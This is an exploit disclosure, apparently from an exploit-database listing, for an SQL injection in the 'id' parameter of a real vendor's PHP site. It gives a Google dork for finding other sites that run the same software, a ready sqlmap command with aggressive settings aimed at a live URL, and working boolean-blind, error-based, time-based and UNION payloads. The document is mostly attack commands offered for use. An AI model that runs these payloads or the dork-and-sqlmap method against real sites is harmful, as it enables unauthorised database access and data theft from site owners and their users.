****************************
#Exploit Title: MEGGIESCHNEIDER - SQL Injection vulnerability
#Date: 2020-10-26
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://www.meggieschneider.com
#Google Dork: "Powered by Meggieschneider"
#Tested On: windows 10
sqlmap:
sqlmap -u "http://www.meggieschneider.com/php/detail.php?id=48" --level=5 --risk=3 --dbs --random-agent
Testing Method;
- boolean-based blind
- error-based
- time-based blind
- UNION query
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=48 AND 3603=3603
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=48 AND GTID_SUBSET(CONCAT(0x71786a7871,(SELECT (ELT(8322=8322,1))),0x716a787171),8322)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=48 AND (SELECT 6184 FROM (SELECT(SLEEP(5)))jEhi)
Type: UNION query
Title: Generic UNION query (NULL) - 30 columns
Payload: id=-1769 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a7871,0x6a6d6c4b74424e635672676377624e654f72754d6a706e6662677169517a6e544f4d76464d49424e,0x716a787171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************